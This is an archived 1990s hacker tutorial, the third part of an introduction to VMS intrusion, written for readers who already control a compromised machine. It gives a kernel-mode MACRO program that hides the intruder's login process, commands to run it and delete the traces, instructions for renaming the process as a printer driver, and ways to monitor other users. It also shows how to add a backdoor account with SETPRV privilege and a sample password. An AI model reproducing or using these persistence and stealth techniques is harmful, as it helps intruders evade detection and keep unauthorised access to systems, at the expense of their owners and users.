home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / vms3.txt < prev    next >
Encoding:
Text File  |  1998-12-04  |  12.3 KB  |  286 lines

  1. Introduction to VMS - Part III.
  2. gr1p@b4b0.org
  3.  
  4. Like I said, Part III would be here very soon, so we can continue the
  5. introduction to VMS with this paper and move onto some more interesting 
  6. stuff later.  In the last paper in this Introductionary series I covered 
  7. topics relating to gaining entry to the box, looking at user privileges 
  8. and how to gain more accounts etc.  This paper is basically going to
  9. carry on where Part II left off.  I am going to demonstrate how to attempt
  10. to make yourself invisible to other users in hope to keep access for as 
  11. long as possible etc.  I will also outline possible ways to spy on users 
  12. and monitor system activity as well as adding system accounts.
  13.  
  14. --> Making yourself invisible
  15.  
  16. Most of the content in this section really comes down to common sense, and
  17. the awareness that you must have for people around you on the machine.  
  18. For example, if you go around deleting users data, you are going to arouse 
  19. suspicion, and therefore increase the chances of you getting caught.  The 
  20. idea is to keep access for as long as possible, therefore, the idea is to 
  21. cut out suspicious activity and play it safe.
  22.  
  23. There are many steps you must take to ensure that you are hid on the system,
  24. i'll try to outline as many as I can..
  25.  
  26. The first thing to be done is to hide form the SHOW USER command, similar to
  27. who in UNIX, which, when used allows anyone to see all the users on the
  28. system.  As you need to appear as a ghost on the system, you need to do 
  29. something to make you hidden when someone initiates the SHOW USER command.  
  30. Something a lot of people do is to make their login process a non-interactive 
  31. process which therefore means that your login doesn't show up when someone 
  32. uses the SHOW USER command, however, your login process would still be visible
  33. if someone used the SHOW SYSTEM command.  The way around that, which I was 
  34. originally shown, and still use due to its effeciency is to diguise your login 
  35. process as the process of a printer driver which shows up under the SHOW SYSTEM 
  36. command.
  37.  
  38. When you do a SHOW SYSTEM command at your DCL command prompt you will gain
  39. all the information about the current system, process information, information 
  40. on drivers etc.  You will notice names similar to the following driver names.. 
  41.  
  42. SYMBIONT_11, NETBIOS, CRON ,OPERATOR. etc.
  43.  
  44. Below is a short sample SHOW SYSTEM command table (not a complete table).
  45.  
  46. 0000010A AUDIT_SERVER    HIB     9      77   0 00:00:00.21     592    626
  47. 0000010B JOB_CONTROL     HIB     9     418   0 00:00:00.77     239    378
  48. 0000010C QUEUE_MANAGER   HIB     8    1936   0 00:00:07.75    1128   1514
  49. 0000010D SECURITY_SERVER HIB    10     102   0 00:00:00.65    1140   1344
  50. 00000126 AppleTalk ACP   HIB     9      49   0 00:00:00.08     195    356
  51. 00000127 ATKGW$ACP       HIB     9      53   0 00:00:00.04     131    220
  52. 00000128 MSAF$SERVER0    HIB     6    4750   0 00:00:07.42    1842    122
  53. 00000129 SYMBIONT_8      HIB     4       8   0 00:00:00.11     432     77
  54. 0000012A MSAP$RCVR0      HIB     6      31   0 00:00:00.24     982    666
  55. 0000012B SYMBIONT_9      HIB     4       8   0 00:00:00.14     453     92
  56. 0000012C MSAP$RCVR1      HIB     6      23   0 00:00:00.21    1021    561
  57. 0000012D MSAP$RCVR2      HIB     6      16   0 00:00:00.17     911    516
  58. 0000012E SYMBIONT_10     HIB     4       8   0 00:00:00.13     438     77
  59. 00000130 SYMBIONT_11     HIB     4       8   0 00:00:00.13     453     92
  60. 00000131 MSAP$RCVR4      HIB     6      23   0 00:00:00.19    1022    516
  61. 00000132 MSAP$RCVR5      HIB     6      37   0 00:00:00.13    1001    516
  62. 00000134 CRON            HIB     6     458   0 00:00:01.91     339    406
  63. 0000015A GIT393          HIB     5    1810   0 00:00:01.02    1269    710
  64. 00000162 AEB477          HIB     6    4486   0 00:00:02.13    1861    717
  65. 00000165 MKR121          HIB     5     873   0 00:00:00.82    1383    732
  66.  
  67. You will notice from the SHOW SYSTEM command table above, and probably from
  68. ones you find yourselves that they (probably) contain quite a few SYMBIONT_**
  69. entries.  These are Printer drivers, and if the machine is on a .edu subnet 
  70. the SHOW SYSTEM command table will probably contain quite a few entries of 
  71. printer drivers.  This is a perfect place to hide your login process and 
  72. therefore become invisible on the system.
  73.  
  74. What I usually do is change my login process to appear as SYMBIONT_666 on
  75. the SHOW SYSTEM table.  This results in my login process appearing to be a 
  76. printer driver to anyone who uses the SHOW SYSTEM command.  To use the above
  77. SHOW SYSTEM table as an example, our username is MKR121, remember that!  To
  78. change your login process to the process of an extra printer driver you will 
  79. find below an assembler script that can be used on a VMS system.  This script 
  80. is entitled stealth.mar, I have no knowledge who coded it originally.
  81.  
  82.                 -- snip --
  83.  
  84. .library /sys$library:lib.mlb/
  85.  
  86. .link /sys$system:sys.stb/
  87.  
  88. $pcbdef
  89.  
  90. .entry no_user,^m<>
  91.  
  92. $cmkrnl_s routin=blast_it
  93.  
  94. ret
  95.  
  96. .entry blast_it,^m<>
  97.  
  98. tstl pcb$l_owner(r4)
  99.  
  100. bneq outta_here
  101.  
  102. bbcc #pcb$v_inter,pcb$l_sts(r4),outta_here
  103.  
  104. clrb pcb$t_terminal(r4)
  105.  
  106. decw g^sys$gw_ijobcnt
  107.  
  108. bisl #pcb$m_noacnt,pcb$l_sts(r4)
  109.  
  110. outta_here:
  111.  
  112. movl #ss$_normal,r0
  113.  
  114. ret
  115.  
  116. .end no_user
  117.  
  118.                 -- snip --
  119.  
  120. To get this script onto the system firstly run the command.
  121.  
  122. $ create stealth.mar
  123.  
  124. Then put the code into the editor, once the code is entered hit ctrl-Z to
  125. exit the create editor and return to the DCL prompt.  Now that the stealth.mar
  126. file is on the system, you need to assemble, link and run to become a hidden 
  127. login process.  To do the above just follow the command lines below that will 
  128. then run the stealth.mar program and clean up afterwards.
  129.  
  130. $ macro stealth
  131.  
  132. $ link /nomap stealth
  133.  
  134. $ delete stealth.obj;*
  135.  
  136. $ delete stealth.mar;*
  137.  
  138. $ run stealth
  139.  
  140. $ del stealth.exe;*
  141.  
  142. Once you have done the following look at the show system table which will be
  143. on you terminal.  Look for the last SYMBIONT_** entry. eg. SYMBIONT_11 and 
  144. then add a few numbers onto that driver for use as your own "hidden login 
  145. process printer driver".  I usually use SYMBIONT_666 but it is sensible to 
  146. use the number after the last printer driver entry on the list, in the 
  147. case I highlighted before, SYMBIONT_11 which would result in us hiding out
  148. login process as SYMBIONT_12 by running the below command line.
  149.  
  150. $ set proc/name="SYMBIONT_12"
  151.  
  152. This will then rename your login process as SYMBIONT_12, a printer driver to
  153. the normal eye, and therefore hiding you within the system as we can see
  154. when we run the SHOW SYSTEM command once more..
  155.  
  156. 0000010A AUDIT_SERVER    HIB    9      77   0 00:00:00.21     592   626
  157. 0000010B JOB_CONTROL     HIB    9     418   0 00:00:00.77     239   378
  158. 0000010C QUEUE_MANAGER   HIB    8    1936   0 00:00:07.75    1128  1514
  159. 0000010D SECURITY_SERVER HIB   10     102   0 00:00:00.65    1140  1344
  160. 00000126 AppleTalk ACP   HIB    9      49   0 00:00:00.08     195   356
  161. 00000127 ATKGW$ACP       HIB    9      53   0 00:00:00.04     131   220
  162. 00000128 MSAF$SERVER0    HIB    6    4750   0 00:00:07.42    1842   122
  163. 00000129 SYMBIONT_8      HIB    4       8   0 00:00:00.11     432    77
  164. 0000012A MSAP$RCVR0      HIB    6      31   0 00:00:00.24     982   666
  165. 0000012B SYMBIONT_9      HIB    4       8   0 00:00:00.14     453    92
  166. 0000012C MSAP$RCVR1      HIB    6      23   0 00:00:00.21    1021   561
  167. 0000012D MSAP$RCVR2      HIB    6      16   0 00:00:00.17     911   516
  168. 0000012E SYMBIONT_10     HIB    4       8   0 00:00:00.13     438    77
  169. 00000130 SYMBIONT_11     HIB    4       8   0 00:00:00.13     453    92
  170. 00000131 MSAP$RCVR4      HIB    6      23   0 00:00:00.19    1022   516
  171. 00000132 MSAP$RCVR5      HIB    6      37   0 00:00:00.13    1001   516
  172. 00000134 CRON            HIB    6     458   0 00:00:01.91     339   406
  173. 0000015A GIT393          HIB    5    1810   0 00:00:01.02    1269   710
  174. 00000162 AEB477          HIB    6    4486   0 00:00:02.13    1861   717
  175. 00000165 SYMBIONT_12     HIB    5     873   0 00:00:00.82    1383   732
  176.  
  177. Notice how SYMBIONT_12 has replaced the process that was once called MKR121
  178. aka your login process, therefore you are now perfectly hidden from other users. 
  179.  
  180. --> Monitoring Activity
  181.  
  182. There are many ways to monitor activity, from simply seeing who is logged
  183. onto the box with the SHOW USER command to more indepth monitoring such as the
  184. ANALYZE commands.  If you have the CMKRNL privilege, which if you rememeber from
  185. partII of this guide is the Kernel access mode and one of the most important 
  186. and powerful privileges on a VMS box, you can use the ANALYZE/SYSTEM command
  187. which will give you an extremly detailed breakdown of what each user is doing on
  188. the box.  The ANALYZE command is the best command to examine the machine 
  189. further.  You can monitor users system status, memory usage, file usage, what 
  190. they are accessing, etc.  This command is the ultimate monitoring command in 
  191. VMS and should always be used if you have obtained the CMKRNL privilege.  
  192. Another ANALYZE command is the ANALYZE/AUDIT command which will load up the 
  193. Audit Analysis Utility which extracts information direct from the system 
  194. security audit journal which can be very useful information.  Other ANALYZE 
  195. commands are as follows (bits taken from HELP)..
  196.  
  197. ANALYZE/DISK_STRUCTURE which is basically similar to the UNIX df command and 
  198. will display information about disk volumes on the machine.
  199.  
  200. ANALYZE/ERROR_LOG which will report the contents of the error_log file.
  201.  
  202. ANALYZE/IMAGE will describe the contents of an image file.
  203.  
  204. ANALYZE/OBJECT will describe the contents of an object modules.
  205.  
  206. As you can see from what I have described so far in this section the ANALYZE 
  207. command can give you a lot of information about your hacked system and its 
  208. users, _providing_ you have the CMKRNL privilege, its important to rememeber 
  209. that. 
  210.  
  211. Another important command for looking at system activity, not so much
  212. monitoring current activity, but looking at past activity is to use the SHOW 
  213. command.  The SHOW command can however only really be used to monitor your 
  214. own account, but if it is an account that has been "stolen" then you will 
  215. still find out some interesting information here.
  216. Some uses of the SHOW command are as follows (from HELP)..
  217.  
  218. SHOW/QUOTA will display your current disk quota on the boxes disk volume.
  219.  
  220. SHOW/DEFAULT will display the current default device and directory.
  221.  
  222. SHOW/ERROR will display the error count for all devices with error counts
  223. above zero.
  224.  
  225. SHOW/WORKING_SET will display the working set limit, quota, and extent
  226. assigned to the current process.
  227.  
  228. SHOW/ACCOUNTING will show which resources the current accounting file is
  229. tracking.
  230.  
  231. As you can see from the above few commands, SHOW has some power to help you
  232. gain information about your account, however, it is not as powerful as the
  233. ANALYZE command.
  234.  
  235. --> Adding your own accounts
  236.  
  237. You may feel confident that you can get away with adding your own accounts
  238. to a VMS box, and this is easily done with the following few command lines.
  239.  
  240. You need to use the AUTHORIZE program which is found in the sys$system
  241. directory along with the password file and other use data, therefore to execute
  242. AUTHORIZE you must firstly be in the correct command path.
  243.  
  244. $ sd sys$system
  245.  
  246. Next, run the autorize program.
  247.  
  248. $ run authorize
  249.  
  250. This will then present you with the following prompt, funnily enough called
  251. a UAF prompt.
  252.  
  253. UAF>
  254.  
  255. UAF stands for User Authorization file and this is where you make your
  256. modifications to make your new account.  To add an account you finally need 
  257. to run the following command line at the UAF prompt.
  258.  
  259. UAF> add gr1p /password=t34mb4b0/priv=setprv
  260.  
  261. This add's the user gr1p with the password t34mb4b0 to the box.  UAF add's
  262. the data to both the sysuaf.dat file and the rightslist.dat file.  The above 
  263. account was setup with the privilege setprv which is a very high privilege but 
  264. not really what we would called a "superuser" so it therefore doesn't look as 
  265. inconspicious as a superuser account.  I take it most of you will know that 
  266. when dealing with a UNIX system, if you add a UID/GID 0 account to /etc/passwd 
  267. it will look _very_ conspicious.  The same stands for a VMS box and high 
  268. privileged accounts.
  269.  
  270. That concludes my III-Part Introduction to VMS, you should now have the
  271. basic knowledge needed to explore the world of VMS hacking, good luck. :)
  272.  
  273. I'd just like to say werd to Substance for always keeping 9x tight.  
  274. Remember, only you can do it bro. :>
  275.  
  276. Finally, as always, the links..
  277.  
  278. 9x   -> http://www2.dope.org/9x
  279. b4b0 -> http://www.b4b0.org 
  280.  
  281. Look out for more VMS related texts soon..
  282.  
  283. gr1p
  284. gr1p@b4b0.org
  285. http://www.b4b0.org/gr1p  
  286.